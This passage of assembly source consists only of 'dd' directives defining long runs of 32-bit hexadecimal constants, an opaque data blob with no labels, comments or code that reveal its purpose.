dd 4240554h, 93DD03F6h, 20954B35h, 0E9838902h, 60E6C676h
dd 12046F53h, 6BEC13h, 2EAC6D75h, 6201990Eh, 8CED38CEh
dd 8970CFDFh, 53AC0F8h, 0E2254402h, 1E4FEE00h, 0A67FAAB0h
dd 0CBBE007Dh, 1B1D0AB1h, 0F9F40CF7h, 4EBF2316h, 0C57D3800h
dd 1233DBB0h, 0EF9C10F2h, 0EDF0B800h, 7FAF3BD4h, 47FB037Dh
dd 2E8A9D25h, 0AA6842E0h, 0CB523E00h, 0C62AC04Eh, 0DAEA001Ch
dd 0F5C98674h, 4112BF19h, 0FE001E20h, 0BDB93DC0h, 550A0234h
dd 0FFCF2699h, 0A4A5AC80h, 743B1F03h, 379C018Dh, 0ECEE2948h
dd 340E8283h, 60DFDE3Ah, 5DA08FD2h, 3F7CAD00h, 0A3ECA4B0h
dd 5AE61855h, 0D8ED2027h, 8E8A5000h, 0F10F2AF2h, 0BCC44915h
dd 607A0B00h, 4FDAE8C6h, 0A6CA3A00h, 6A48A819h, 655A00D4h
dd 0AC5791A7h, 3403E5A2h, 7FC558Fh, 66C6A025h, 201907FBh
dd 0B8445Fh, 905098ADh, 80C3D03Dh, 0AC092D80h, 73FC55Bh
dd 2CCC5723h, 158A300Ch, 0F2000E0Fh, 6DE292E6h, 7F51F55h
dd 7F84962Dh, 8DC3BF16h, 9DC0FBAFh, 1700DB2Ch, 0FC226038h
dd 0CFF0E7B1h, 5F409441h, 0E104B87Bh, 0A2B9261Eh, 700B71C0h
dd 160277h, 0FBC02383h, 0F0280518h, 0F0CA5Dh, 0A5D01FB3h
dd 483EE2B2h, 4100EC03h, 98B8B583h, 0DA00ADF7h, 421CA6DFh
dd 3F03B682h, 36802867h, 4F601588h, 756EE316h, 8DDE6038h
dd 29138Bh, 4D50193Dh, 0E1AC1ED1h, 75701212h, 67F57C80h
dd 0EC9473E9h, 0F2480A1Ch, 995501h, 9A20E2DCh, 2000364h
dd 0D98B8FC2h, 237B2Fh, 5CEF546Fh, 734CDE9Dh, 5BEA260Fh
dd 0DA9940C0h, 74A362h, 4798151Ch, 0FEB752F3h, 3068FC07h
dd 2520A11Eh, 3AD440h, 8FD71A96h, 9CF9D9Fh, 0D8012000h
dd 57BA6226h, 95C50090h, 0F727EEFEh, 25000AE0h, 0E3A96AF9h
dd 981B6576h, 74BA004Eh, 37985AB4h, 20017B79h, 9245E42Fh
dd 0DD9C49Bh, 0E8BF30C4h, 0A5CE1EA4h, 0EDAA4040h, 3CC2AE6h
dd 3B1F0C03h, 0E09A8208h, 13CABAh, 83462C32h, 61E0FE57h
dd 5550F900h, 5F5B3C47h, 273F0EEBh, 49E00A6Eh, 16B738ADh
dd 3F57514h, 0C3A8094h, 2CBD90FEh, 0A6E7C5h, 9FAAD287h
dd 0DA028A92h, 0F3B3C9Ch, 0F7D960FEh, 0E5B10063h, 5FF5261Dh
dd 27388992h, 99E400A0h, 8A1B1958h, 628707C8h, 77F75259h
dd 635A3053h, 0AC002CF2h, 4109DA84h, 17E7834h, 6E35254Fh
dd 0D81A28CBh, 0FB009F8Ch, 0C6641FCAh, 7D58898h, 84D10623h
dd 335D109Bh, 17587A7Bh, 0F7BB0333h, 0C827FCC5h, 257C34BCh
dd 4C804155h, 7EF30435h, 0C4EB500h, 1D08B12Fh, 471F0040h
dd 85775F2Bh, 451F20F8h, 0AF40DC48h, 0BD1EEAFDh, 0F6900ADh
dd 0D7B98C0Dh, 52482AE8h, 153102D5h, 7A9AF024h, 0BF6D00E8h
dd 0F9D2CA70h, 0A81DFAF2h, 0DBC10190h, 0B40E356Ah, 3C1D0439h
dd 408B9DBDh, 0A68DD262h, 0C3E80501h, 20553F13h, 0EE9FE040h
dd 0E97AF43h, 4731199Eh, 547B1080h, 0AC16F3A1h, 0A10F21EFh
dd 0F7D68044h, 0CF22DDh, 96F1D295h, 4209B5DBh, 0FA5680A8h
dd 746ABF3Ch, 7611F60h, 0C1A80A22h, 9DF737C1h, 318EDCDCh
dd 0A0FA9103h, 20A38225h, 47EB121h, 1524D415h, 54D8607Ch
dd 0F5864F2h, 0DF91E697h, 0E3568887h, 2FFACB33h, 9CC00D42h
dd 75005F65h, 61A9D380h, 3CBD0D32h, 0E90078B8h, 1EA507F1h
dd 2F1C0F08h, 3080801Fh, 7DB1BA03h, 0F36303F0h, 0BDF62D2h
dd 0DE61B09Ah, 0A885205Ah, 0F24CB900h, 38D2BCA0h, 3353006Ch
dd 0D3130DCh, 0E100C61Ch, 7701B3A2h, 3A6EA9AAh, 0AE00C27Bh
dd 0B84F1D85h, 8D0ACA32h, 0A8E30454h, 0D6247800h, 7AAEBCh
dd 0E91B648Eh, 36BB556Bh, 71BEA001h, 0C0C909CEh, 3BCF91ECh
dd 0D53BBA5Ch, 0BFA26A80h, 95B7618Eh, 74981101h, 0A38FE550h
dd 14E7030h, 15C7072Eh, 0D8512A54h, 0B42CC9A9h, 5D005970h
dd 0D98812BDh, 757DA3h, 30F5E7E2h, 6152C74Dh, 0B2D59F00h
dd 10878E4Eh, 0CC7BA7h, 21389059h, 0DDA3D0C7h, 0A87C7E00h
dd 0B010A287h, 2FB71E6Ah, 3FD74022h, 61AB4B42h, 20C47E00h
dd 10D16755h, 0C0E71ED6h, 6E018FFCh, 286A6820h, 0DDE273E9h
dd 968A6100h, 65189B59h, 749476C3h, 9950077h, 5DB2257h
dd 0E50004C9h, 0B4AF8F2Ah, 0BC353Bh, 6ACF8820h, 11A72974h
dd 0FC035500h, 8E494114h, 25E13BD8h, 59A4FB00h, 0DDAEC07Ah
dd 0BF46F803h, 5E0589h, 9C25870h, 0F47B3CECh, 0C10014E4h
dd 40C7C61Bh, 26686C44h, 738D936h, 0A03E6F7Ch, 0D5359E65h
dd 0C60A6600h, 0CD01D177h, 0ADEE0FC5h, 0C8203B5Bh, 0B81ADA62h
dd 0DFE77C00h, 0BE13A09Fh, 0AA911E90h, 7D07FE64h, 30856AEDh
dd 9750FB94h, 0F42CD000h, 6E9A5673h, 0F7860993h, 9004FE8h
dd 0DEB9E16Fh, 2DF45700h, 0A86A023Bh, 7018009Ah, 0E3070D3Ah
dd 1D773D7Ch, 96C3CC00h, 1EC2A5B0h, 1161C0Bh, 64DDC0CAh
dd 0CBB974EBh, 8B2D1B07h, 5450DB86h, 3872902Eh, 0F6800E29h
dd 7A560D92h, 6200E74Bh, 0F1639BD9h, 0E8BF7D18h, 0F9570706h
dd 80564CCEh, 789F73EBh, 481E8630h, 0E8707h, 1D11984Dh
dd 0C985BB34h, 0CA4B4E00h, 3A14D43Ch, 45310C36h, 0D2B90E0Ah
dd 27193B03h, 0F79F267Eh, 259B3080h, 0E96B1CA5h, 0DD2000FAh
dd 948FBD4Ch, 807EB73Ah, 0DC19B315h, 1CFBEEC8h, 0C04E9A5Eh
dd 0F62C9066h, 53F67957h, 0F7F8E5B8h, 0E1AE1103h, 0D8825D8Eh
dd 29FCB56h, 9189A2A8h, 5343282Fh, 0D9F43100h, 0D729DD48h
dd 0BD343D30h, 4AD4D000h, 792C593Dh, 0F5225B00h, 566E5D1Fh
dd 843C0094h, 5317A6BBh, 83502520h, 0A820BC88h, 0C78D005Bh
dd 79A16E51h, 0F43AE32Ah, 6DA60067h, 0CE21B00Dh, 386C0039h
dd 0C796A82Dh, 8FF80E10h, 0CCBD5101h, 124892C1h, 756ABCECh
dd 2F0B0002h, 3CAB3215h, 3E008E76h, 7A546843h, 3FA0E7h
dd 5F22C5ACh, 9C10CE7Dh, 161EC38h, 6C271E84h, 6BC077EEh
dd 0A8356206h, 12058A8h, 0E4A78A09h, 0B3030EE1h, 46E0367Eh
dd 4C65EC8Eh, 94714500h, 0CC8FAB6Eh, 0E8C0C0A9h, 0CF55094Eh
dd 3DA2D60Fh, 70380130h, 3BCC0FE2h, 6F1D0357h, 6417CFFAh
dd 0C969AEA8h, 804A813Eh, 0AF05207Ah, 3CA0D2h, 85332B93h
dd 3E541907h, 3817700h, 2E704CC9h, 0FC1C0540h, 506CA93Ah
dd 0F42498D4h, 0C7058054h, 0EBB4E8ECh, 4108900h, 1D1BA621h
dd 5A6B063Ch, 0B0F35299h, 0D58A1E01h, 189DEDAEh, 577041EAh
dd 0C6F4F021h, 7BA7B05h, 0C5B1E042h, 46B8D00Ch, 9D008FCEh
dd 97F8E7C0h, 8B9F77h
dd 0C50344BCh, 79B32E69h, 5549C907h, 0F2ECF504h, 75EC0078h
dd 2C60CA74h, 1639AF20h, 2EA88089h, 0DC9B7643h, 782B1C24h
dd 819840DAh, 0A6FF0F79h, 8CB96213h, 55611100h, 132F9AEh
dd 0A8A78806h, 0EC852B4Eh, 0D00024C0h, 1BF60DF8h, 71D7273Dh
dd 57750033h, 0FEAA9EEFh, 0B81747CFh, 6005F65Eh, 0AC000628h
dd 0CA72FB24h, 92C2001Eh, 0BBB19B83h, 2200BA84h, 3B9F4B44h
dd 150E1Fh, 796FB4CAh, 0FEDB8D12h, 99A82000h, 0DCCBD047h
dd 5AF871h, 0A58E84BEh, 451A78F0h, 0D2A84D09h, 0DC34001Bh
dd 582A47h, 4684549Fh, 2FEDDF9h, 14568026h, 0E9888C80h
dd 7EFC28h, 0BD07FB8h, 0CF19973Fh, 9653F6A0h, 3DB7404h
dd 389144E6h, 0FC576E0h, 3F1560h, 825BFE53h, 64D0EA6Eh
dd 3B1404B0h, 7DC076EBh, 0CBF19A0Bh, 208A0E38h, 987087BDh
dd 0B2B90050h, 0F9B57A5Ah, 53582C74h, 0BBFD0304h, 63CF03h
dd 0B9DF3148h, 0DB25905Eh, 197E9930h, 26F44797h, 809C81F1h
dd 0E0E1C917h, 0E9007B86h, 88B209D9h, 242CA11Ah, 1EC1401Fh
dd 8FD88296h, 0F4802791h, 9F880CCCh, 6900C97Dh, 5B257387h
dd 7DC5A4h, 5FE9BB58h, 98F0A620h, 202D30CFh, 0E8EF9557h
dd 599F0065h, 4621227Bh, 0C87CCCB7h, 1767700h, 0A6F34F3h
dd 5F2E033Ch, 0C339D443h, 95AB3AB0h, 7D722300h, 707B4B57h
dd 0BE40071Bh, 1F516FDh, 81D1BD22h, 8B442B18h, 12DCEB34h
dd 95780B61h, 9806BED4h, 98982075h, 0C33830EFh, 0ED667B02h
dd 0C0CC035Fh, 0D5A6D5h, 7BBD1E9h, 11251E08h, 0C92CB600h
dd 37A9E430h, 5B1F01A0h, 0E2385C81h, 9799C415h, 0B4BDD200h
dd 32341CDh, 0FC8C00ABh, 0B3CBBB0h, 0FE002E06h, 68F79751h
dd 3735F2Fh, 0CE31BECAh, 1100300Ah, 410FD680h, 0FE798AC0h
dd 3E3917F7h, 5A2C025Ch, 6B1025E8h, 0C1812EE2h, 0C2A91C27h
dd 239EDFFBh, 6040E2E2h, 0E1007B37h, 0B475DB7Fh, 21FB03h
dd 0B64DBFD2h, 0DD12B545h, 0D991D002h, 0E805571Ah, 0FA0CC438h
dd 2CF60026h, 0C9A53F4Fh, 0FA0075D8h, 8F7294DBh, 480DE83Bh
dd 2E0BC41Ch, 0A090A551h, 2AFC55A6h, 8000FAB0h, 456216C2h
dd 0C71470h, 0E1E0ED31h, 0A8024F1Bh, 0A4C1D0A0h, 500070D2h
dd 695B8FC0h, 8B8400EEh, 0BAF3FE43h, 950087C8h, 0B2A64479h
dd 90C20A23h, 3830058h, 6A82EADDh, 744D9A9Bh, 94F500B8h
dd 232CB49Fh, 0BCC23AC5h, 80BC93Ah, 10237D05h, 80D4F68h
dd 2974B519h, 1CA30B7h, 8AB92F24h, 2C8F9C38h, 0FFA32600h
dd 8E2E5Ah, 5E06F7Fh, 0D2334FDDh, 44DAE417h, 3C7378E8h
dd 7900B80Ah, 5E108064h, 0BC0356B2h, 6F70784Eh, 505FD836h
dd 0DD330369h, 9D45EACCh, 2AD49903h, 981964F8h, 72877B55h
dd 0F0E05Dh, 5BEE096Ch, 7EF471F9h, 9D67E900h, 6529D377h
dd 37A2391Fh, 0C23CA900h, 0ABD8507Ah, 0AF42191Dh, 3D445100h
dd 21C6BFh, 9F8A5FEEh, 6526D1A5h, 0AF454A07h, 9140676Ch
dd 74B0B9Ch, 0AE06BDDFh, 86B61093h, 80079953h, 9C56AAF9h
dd 0DBF040EFh, 3D828DD6h, 0C8004D0Ch, 617D01E9h, 4003FAA0h
dd 93F93848h, 0A671E8ADh, 0AB812826h, 61CC06A7h, 609F6CBEh
dd 0A02A4Dh, 5F811DB9h, 0F594991h, 2DBC3C83h, 85BED680h
dd 0BD0D7A23h, 9A1C77F4h, 453C48E2h, 0C96E00B0h, 250F2F1Ah
dd 0F2065312h, 527F7AC3h, 0E9D70019h, 86694696h, 0E0FF4C74h
dd 0C39896Ch, 0D42B80ABh, 0CE8C91EEh, 0DFF4A8BDh, 35E70088h
dd 641A1FC9h, 7F32BE98h, 629C1048h, 0AD7CA0E3h, 0F26836B7h
dd 0A4B20C05h, 70990F55h, 0B9CBFD06h, 68DD32h, 0EFE2B28Bh
dd 996D2F23h, 16828C0Ch, 0A0D1A0D4h, 30CE8A80h, 0EC4009CAh
dd 7B001285h, 23ED058Eh, 6C9BD79h, 66B5146Ch, 879705Ch
dd 0DEE40F1Fh, 0B4576880h, 0A024C1CEh, 97AC94h, 0E7DD3684h
dd 0E89C8298h, 0F6FA0109h, 0E07C0E21h, 0EBC49A64h, 2E1700CBh
dd 0FDC263D6h, 98F0F784h, 766D2801h, 0DC6F6B18h, 1D58EAC0h
dd 40B133B2h, 0E092E79Ah, 6B0A1701h, 2C88E59Fh, 0CC168669h
dd 25050559h, 0BF8D2694h, 9A61C6C0h, 689F6339h, 987597DFh
dd 0BA0130E4h, 2A0B708Fh, 0FCF456FBh, 0E907015Fh, 8D1ACE4Bh
dd 0DAB16FFEh, 9CEB7987h, 88404C0Ah, 0F50F68E6h, 0E7ECD0h
dd 4A8C7965h, 3EFFDC5h, 46985430h, 7100C3E0h, 7CE2E103h
dd 30BC9C47h, 0BD186A62h, 29018AD8h, 0BA4D2B55h, 7DD0C4B4h
dd 6150032h, 2703727Ch, 883990A4h, 98CE1D65h, 5D63BB01h
dd 2DC4F9Ch, 0C8830006h, 75A5CBDAh, 0E4008AEAh, 6EFFDD96h
dd 183944D0h, 0A8E8E1A6h, 41006F17h, 1BCAEF71h, 154A03h
dd 2738D4ECh, 8C788884h, 91A30B09h, 0FCD8F95h, 0FE036131h
dd 8450F243h, 6CB830Ah, 2CBB454Ch, 0F300C8A6h, 7467A90Fh
dd 62ADF9h, 2156E141h, 92EA91F5h, 0E7E3C005h, 0A04319E6h
dd 0A0975EE0h, 0C3142Eh, 6EF07CD7h, 0FDD4DA7h, 0C4006CF4h
dd 0FD24184Ah, 73084B42h, 3E21F946h, 2A32ECh, 57CA4052h
dd 713BF2D9h, 4C019C00h, 137F63DDh, 14EB320Fh, 0E1202429h
dd 264AA1CFh, 0C30F5h, 4466CEEAh, 900492Fh, 69A9D1D4h
dd 135FF9ADh, 0FEB5E8h, 609E6529h, 4376813Fh, 0DF167D0Eh
dd 0C0A32F24h, 1FA2AB3Eh, 169E8F7h, 39C3F344h, 0D049B342h
dd 0A40083D1h, 4D659282h, 0C9E1E64h, 0D6FE10EEh, 2E00ED20h
dd 0B2168305h, 6796C7h, 24F691C6h, 5BE03E35h, 96039h, 47D03772h
dd 889602h, 0B3AD261Ch, 0BA249127h, 4900F771h, 86D6583Ch
dd 11EA0Ah, 1EB7B71h, 571336A0h, 0F5F1C00h, 3DD3B2C0h
dd 5E9700E0h, 0CB18AD44h, 6B0AF5D9h, 0BC48FF68h, 935DB200h
dd 74D3E431h, 0D5CF000Bh, 7B348ADCh, 0A230CBF5h, 9A2E78F7h
dd 2EC3E05Eh, 0BA0160h, 0AE4255C4h, 15008B77h, 12BE6908h
dd 729F0B75h, 0CCF100B7h, 5133DDE4h, 0F8034516h, 0C9D10449h
dd 0C8EFF8D2h, 11C31E27h, 0FE41C744h, 967EA03Ch, 0A900508Ah
dd 0D5DA9FC2h, 0FC09A4h, 0F48EC0E1h, 0D981476Fh, 51007971h
dd 0C5324A0Eh, 4C687354h, 740252FCh, 703CCA50h, 4761B680h
dd 2300193Ah, 64D5DE08h, 7DB6E6C2h, 0CB5005Fh, 93A9C5B8h
dd 74EE33C7h, 0D6534B05h, 1D81DE18h, 96C4FAE1h, 22600043h
dd 59C4D557h, 0F4EAB831h, 29005170h, 9FF5738Fh, 0ED2C1Ch
dd 0DB6BB3AAh, 7E99CF9Eh, 80E7CE3Dh, 0E99DFB0Ch, 0EF1A4Dh
dd 0A8E187BAh, 3E256BAEh, 4E543Eh, 589D08FFh, 0E9BC0h
dd 62A6E9BDh, 75E0B02Ch, 79DE4900h, 6889F5EFh, 1BED00C3h
dd 0FF2129FDh, 0BC07E199h, 73343941h, 9BF06C70h, 861B03B4h
dd 0BAE80A9h, 54B5A380h, 0E8FECF00h, 912E78BDh, 5B7ECA4h
dd 0E9CB5CC2h, 0D8800B6h, 406BFE70h, 54B7301h, 21829A5Fh
dd 12300A71h, 0D95C007Dh, 0ED6E461Dh, 0CC00386Ch, 68E13728h
dd 0F3AC98h, 44867E0Ah, 1B7936A7h, 0A5312200h, 47D4D1CFh
dd 1788A8ECh, 0AE2B001Ah, 613E02D3h, 0A5FAC08Ah, 3D63DE1Fh
dd 5B001BE6h, 54EF5729h, 0E47717C1h, 1B3500A2h, 0C223021Eh
dd 10FB1930h, 3571154h, 5A750530h, 0D4E02DE7h, 8B5CB764h
dd 15CA0062h, 0A7A96E19h, 0CB10EC7h, 0D240428Ch, 0BC2FE127h
dd 13E78000h, 5A54336Fh, 3D8A39E4h, 2BBA0E80h, 0A4738370h
dd 8D871B00h, 0B95AFE9Fh, 5B880392h, 0EAC47F77h, 8BC224C8h
dd 827AC707h, 0AEE56FB3h, 57C9A800h, 0E4BDD7h, 0B033A03Bh
dd 3AF21A37h
dd 1F59E0C0h, 1DF9EDh, 0FAEAC708h, 792C2604h, 0B3452203h
dd 11A60Fh, 2EBF2948h, 0F1155A98h, 7EE2F801h, 0D3F7A89Ah
dd 77F54760h, 0ED10119h, 0B3EDA4BEh, 63B1F0F2h, 5B618200h
dd 69CED345h, 8AB20004h, 98EEB387h, 0A21F654Ch, 0B4DD23D7h
dd 5100EC1h, 30804297h, 475886D4h, 7D00E491h, 0BB4FFD38h
dd 58B868DEh, 517691CEh, 0EEE4F86Ah, 0A39E00A5h, 0C4AAAD1Eh
dd 607B64B7h, 0C0C61D30h, 0F77CF1h, 57DFF438h, 3B390F99h
dd 8A004198h, 0E8622C97h, 0E089D165h, 8CF900D5h, 15A40C41h
dd 370E13DDh, 0C44A7F47h, 48801BE3h, 9032AB83h, 9FC53E2Ch
dd 6C037BBCh, 55C6E3E0h, 1A8FC107h, 39C0A693h, 0CA449BBh
dd 0A3FB865Eh, 0B00E8021h, 7EB366Ah, 3D51CA4Fh, 0C8FB522Ch
dd 1112F21h, 4427DAEDh, 70F68E65h, 950013F0h, 1BBECFEAh
dd 776A40Bh, 287420DEh, 57BA01Ch, 2700FC4Eh, 0D2E90C37h
dd 3F1B5110h, 3680F5A0h, 0A2823F18h, 0F8A0C65Fh, 0AA00F2CFh
dd 4AD93401h, 40F5B6A8h, 1C9093B0h, 0ED095300h, 46F1625Dh
dd 0F2EF0972h, 2483BF56h, 4B03268h, 69FAE353h, 1D952F00h
dd 8676B1CEh, 193C0035h, 0A4FCBDC6h, 0CF00FADCh, 397C8B2Ch
dd 0C273EFh, 0CA42351Bh, 241C8187h, 2D1FE803h, 0E0E6B9B8h
dd 0A1E3B2h, 0F59172E1h, 751A0745h, 11F8600h, 0AD2D623Eh
dd 3464073Ch, 80148855h, 95BDBA4Eh, 16E7F500h, 0B17AFB69h
dd 39C04CA4h, 5B538A00h, 2A9E4EF6h, 9C07AC7Fh, 5E7562DCh
dd 64321EE0h, 0C9B20033h, 3817CA66h, 5C002561h, 59B72927h
dd 74419Fh, 79BF0A3Dh, 7D3C5F4Ah, 0F700407Dh, 66CBB934h
dd 362FB1Ch, 6B5DAD5Bh, 16D00AF2h, 85000CA4h, 37F01DB3h
dd 0AEA6DBh, 47A1F13Eh, 0D34C8A60h, 0F90ECCFAh, 60E943B2h
dd 28543170h, 0DEC300DAh, 8E5C09B8h, 2A007F41h, 3B7C123Eh
dd 0C6EB15h, 39897994h, 3C527867h, 1C627A00h, 0C412D083h
dd 47DA3932h, 73E0E600h, 0D7930ED5h, 0DC874F07h, 516097A9h
dd 404C84h, 271598FCh, 9CB43034h, 0EA182D60h, 0E841FD89h
dd 950A19F6h, 0ED5231D6h, 0B8BC98h, 6C378877h, 87F805h
dd 58C741A1h, 7497E932h, 0CFFE9300h, 191F6CE5h, 65600B87h
dd 0CA00FCF8h, 2F469509h, 805F973Eh, 0DC5735D4h, 1DDD0F58h
dd 0CCB49C6Dh, 798889A0h, 0D7A3F80Ah, 29073C35h, 0FE755246h
dd 0EF0D83h, 8D9996AAh, 23CBB069h, 15523300h, 71CA56AEh
dd 343D061Dh, 18503E8Bh, 95770217h, 6BF2EE00h, 0E78F6Ah
dd 90737087h, 30284ED6h, 0D25D39h, 8C0D0A50h, 38DD31Bh
dd 0BE9E8A14h, 4AE0B1BDh, 79036763h, 0D5F96176h, 7250D852h
dd 0B27000CBh, 1C974694h, 7E002AFCh, 4B78E361h, 0F6FA84h
dd 0DC35A3D8h, 0C8B81AF2h, 29D53200h, 0BF2D7918h, 0E175076Fh
dd 0B03584B7h, 4CF414CFh, 0F3005BEEh, 8C1D2052h, 679DF6h
dd 0DBA6DA74h, 73851B06h, 52B69E00h, 0EAED3DFCh, 993601DCh
dd 0D605939Ch, 2C5EC413h, 0B88610C5h, 0D97BA400h, 7241B4F2h
dd 0A5073B4Fh, 16131486h, 50A82882h, 0D6989551h, 2DE92300h
dd 0FAEDAD5h, 9E2F01CEh, 0D957054Dh, 89A7F030h, 540B460Ch
dd 313884h, 0DC5C9136h, 0CF27306Dh, 372FDD3Ah, 0A3102122h
dd 3E3F491h, 0AB184312h, 781FE00Eh, 4EC1BA29h, 2E9E5AE1h
dd 1319C8h, 5B14E8FDh, 0E4095660h, 3F989303h, 884B9B88h
dd 0F62A4Ch, 77877ECDh, 0E3291CA5h, 9400B5E8h, 0C914A8CAh
dd 614D33h, 347709CCh, 0D176DA1Bh, 0F100A7ECh, 0E195146Eh
dd 91970Ch, 0B09D4245h, 0F877EEDBh, 724AAA00h, 7D2AC25h
dd 0BA60358h, 0ADFE2083h, 0ED2D30DFh, 6D7ED454h, 39385Dh
dd 84A0B2A7h, 0C8140F45h, 0E6429929h, 6563213Ah, 0B5001A1h
dd 4EEC2417h, 3F21F1EFh, 8805F808h, 7A1EEB71h, 914FA440h
dd 0B88166h, 6CDD776Eh, 65F9AD2Ah, 590C8B00h, 0D8045FC0h
dd 774B2EAAh, 6BB00B8h, 0D014E913h, 80E4B53Dh, 0C620A41h
dd 2A6399h, 0FB178EFDh, 833D94A9h, 3E4E3C00h, 5E1F0A3Ah
dd 38B5021Ah, 8EB4CE5Ah, 8FBB4C0h, 83136C98h, 0E416B722h
dd 6803ED00h, 0B32E95Dh, 80C5C053h, 4E8C1880h, 9D3F890Bh
dd 6B00FDEFh, 846466D4h, 4CC0B6h, 4927F218h, 1CAA0CD2h
dd 76E55800h, 3BB8A555h, 40A300C4h, 0A0086485h, 0A2E2062Ah
dd 0F3F43400h, 62385004h, 0DA7CBFh, 0A907F60Ah, 4BCCB7AAh
dd 6A67A82Ch, 5E4F3C00h, 65F385h, 89D90FFEh, 4710B5DCh
dd 1B579000h, 95B4B33Bh, 0AEF608h, 2ED71EE9h, 5569631Dh
dd 0CC91700h, 8E4E488Bh, 53F20057h, 94DAB6BEh, 4D0093D0h
dd 987513Dh, 0EC69D167h, 3C1C90BFh, 8800A773h, 0BE847E97h
dd 9F072C20h, 178689C5h, 7F58240h, 0AEFD00FAh, 5438C4EFh
dd 98CF8B3Ch, 14612050h, 0CCB15h, 435E7AF7h, 94658EB6h
dd 0E3CCAC0Ch, 389681Eh, 57175B64h, 7DE8812Fh, 0F338528Eh
dd 25B980B1h, 0AB924335h, 0DD4500C4h, 912B9F16h, 0AD00F6A8h
dd 8D0B09FFh, 39F56Eh, 0EC5C459Bh, 0E40EBC7Dh, 9D3EFE00h
dd 7F03061h, 4F6C0023h, 0CF8EDEA1h, 6E032FB6h, 3EE1292Dh
dd 0BE30C75Fh, 50D3E678h, 0B0983Ah, 0C183A5E5h, 930B0507h
dd 8EE76000h, 55A28D51h, 9E370128h, 1A3BA4CDh, 0F4FEEC6Ah
dd 0C4F86D73h, 7F3E3379h, 31B712E2h, 0F886AF00h, 78E2213h
dd 5201AD27h, 0DCD99056h, 0A500B14Eh, 0B85D7A0Bh, 79FE1904h
dd 0E4F60018h, 15C0CF75h, 0F116FD93h, 0F18072C7h, 61CB48h
dd 3B96A8F3h, 0A08AAFF8h, 176CB300h, 6FC0F2A7h, 8A5F4C55h
dd 0F6D0380Fh, 9A5B8FC0h, 0E304083Dh, 5E7276F8h, 0EF59C493h
dd 9E003A7h, 1C10B7h, 38FBE885h, 1BA1909Fh, 0F5244F00h
dd 259CF466h, 91100955h, 0C10034Eh, 9B00DD56h, 4A981CC4h
dd 3BEB063Ah, 31816E90h, 0AEB3F92Eh, 8C59F457h, 76D4E524h
dd 0B2FBC500h, 94B3C55h, 0B4DC03D1h, 0A2153C01h, 0D1AD035h
dd 64B92A01h, 98D0EB66h, 0FA5C3C8h, 48DAE1E9h, 0E777BC00h
dd 231208B8h, 4800B0F5h, 0E451ECD0h, 12CA004Bh, 3F02DFC5h
dd 9F07D527h, 0FE32461Bh, 0BD63A240h, 0CF430093h, 7345BF6Bh
dd 0EB1E7DC4h, 1C80474Dh, 8E0F0210h, 0A6B603D4h, 0B0892F1Fh
dd 35EACBD0h, 38E84B00h, 5B48AF7Ch, 77800144h, 0AB13B0BEh
dd 0A6D6A8C9h, 8F7AB10Fh, 75E5601Fh, 9F514586h, 0F013A58h
dd 0CCA7EEDAh, 0CEC41B0Ah, 1A9B0081h, 0FF7A23F3h, 7004F10h
dd 0F8B4F6C3h, 3B5494B0h, 0C0809358h, 605AD216h, 0B500D1C8h
dd 0D0979C17h, 0F1967A0h, 9F04E907h, 23CDF2C3h, 0D22DCBA8h
dd 481C2AF0h, 1BC063B2h, 0FFEF374Ah, 27210239h, 5AAE3A61h
dd 2399C440h, 0C05C401h, 891F9F4Ah, 0E4E0420h, 6121459h
dd 9EA4700h, 3030E9BFh, 0B4E6211Dh, 224500F2h, 0EB7476B5h
dd 0C3747E59h, 1C5B8540h, 0C0D6C7F6h, 0FEC6DC30h, 0D01D49E0h
dd 0DF4043ACh, 271C0791h, 0F2C1142Eh, 0A600E484h, 0F01FE7E6h
dd 2600B60Dh, 8BA0F936h, 3187175h, 2238FA58h, 0C0F45FBAh
dd 0DDD00D31h, 739B9909h, 1BA80185h, 5024874Ch, 1E50012h
dd 24F8F2C4h, 2D02A486h, 5F7CA278h, 0EA5C41CEh, 78343460h
dd 0CD60743h, 0E06F6A76h, 0EB2DB103h, 0DD049903h, 0D8FD5D3Bh
dd 7BE31ED7h, 0BF68C150h, 24A462A5h, 8D07AA94h, 885D077Bh
dd 0B25003Eh, 7657C11Ch, 0FBEF0022h, 929B9A77h, 0CE006C9Eh
dd 7458470Eh, 0C74EB7B6h
dd 90FC9D30h, 7248CA1Fh, 48694Ch, 0F5599BAEh, 9DCEC4Eh
dd 3179C84Ah, 0EE0DAC00h, 610EEDFFh, 0FD438DF4h, 72B0239Bh
dd 4C410348h, 0DEF348C3h, 38E301Fh, 14BF7947h, 7E9EB080h
dd 0F437001Bh, 4364F265h, 34001F13h, 0FC24B92Bh, 3147548h
dd 5CFA6B67h, 0E0806E3Ch, 0A03CCF4Eh, 6D68E042h, 3D9C8ADh
dd 994D56E7h, 46A02CC2h, 90A00F96h, 747429ECh, 4F74F00h
dd 8C3EB716h, 64756Dh, 2A91612Fh, 1C8BFED9h, 3DF7C0A8h
dd 84DCC609h, 74108032h, 0A74089h, 0E2A8B80Bh, 3D3BEED5h
dd 4EC65E00h, 5458A67Fh, 386D00EBh, 5CF04A2Ch, 8A5841C7h
dd 44350048h, 4981D846h, 1F7C7354h, 415A71AAh, 0B3FEDE55h
dd 115FE45Ch, 3D22AE00h, 0F4680E4Dh, 0B16D00BBh, 0DB67CE57h
dd 3300157Eh, 0E695852Dh, 3E4A7FC6h, 8D8025D4h, 0E3C3E96Dh
dd 0B700BAB9h, 220A398Ch, 0C323Bh, 9E10A11Dh, 46B00389h
dd 0EC824Dh, 7C06650Bh, 0C044C45Eh, 26C756E8h, 661233B6h
dd 6400AC02h, 80D219Eh, 0D0E207CDh, 7048AAA8h, 66190395h
dd 261F2000h, 0E57CD1C6h, 5487003Bh, 5F429C6Dh, 0F60B02FAh
dd 8060DF92h, 0E2D6215Ch, 0B028EA4Ah, 4C7F0Ch, 996686D7h
dd 0F5DC093Ch, 0A500D490h, 0BCFFE719h, 2AE2A87h, 0BE0374B9h
dd 0E840845Eh, 4E00ED3Ah, 2BD694ACh, 7E5B470Dh, 88BA5CABh
dd 0C681C10Fh, 0B1F70B87h, 0CFACB9C5h, 0BC2357C8h, 0E6917F00h
dd 4D9A6938h, 18FB06CDh, 30860C19h, 0A492C000h, 7C154B87h
dd 850A3028h, 0D78AD918h, 9A0CD509h, 50A98Fh, 11757A03h
dd 280E3FF7h, 0D4900076h, 4CB408EAh, 0F609FC7Fh, 3A44838h
dd 0B05EDA60h, 0D8AA92B1h, 0F0298C10h, 0D99D1B00h, 637D4D37h
dd 42080045h, 0AE496A35h, 29059E28h, 0FF272A97h, 0A8D38CD0h
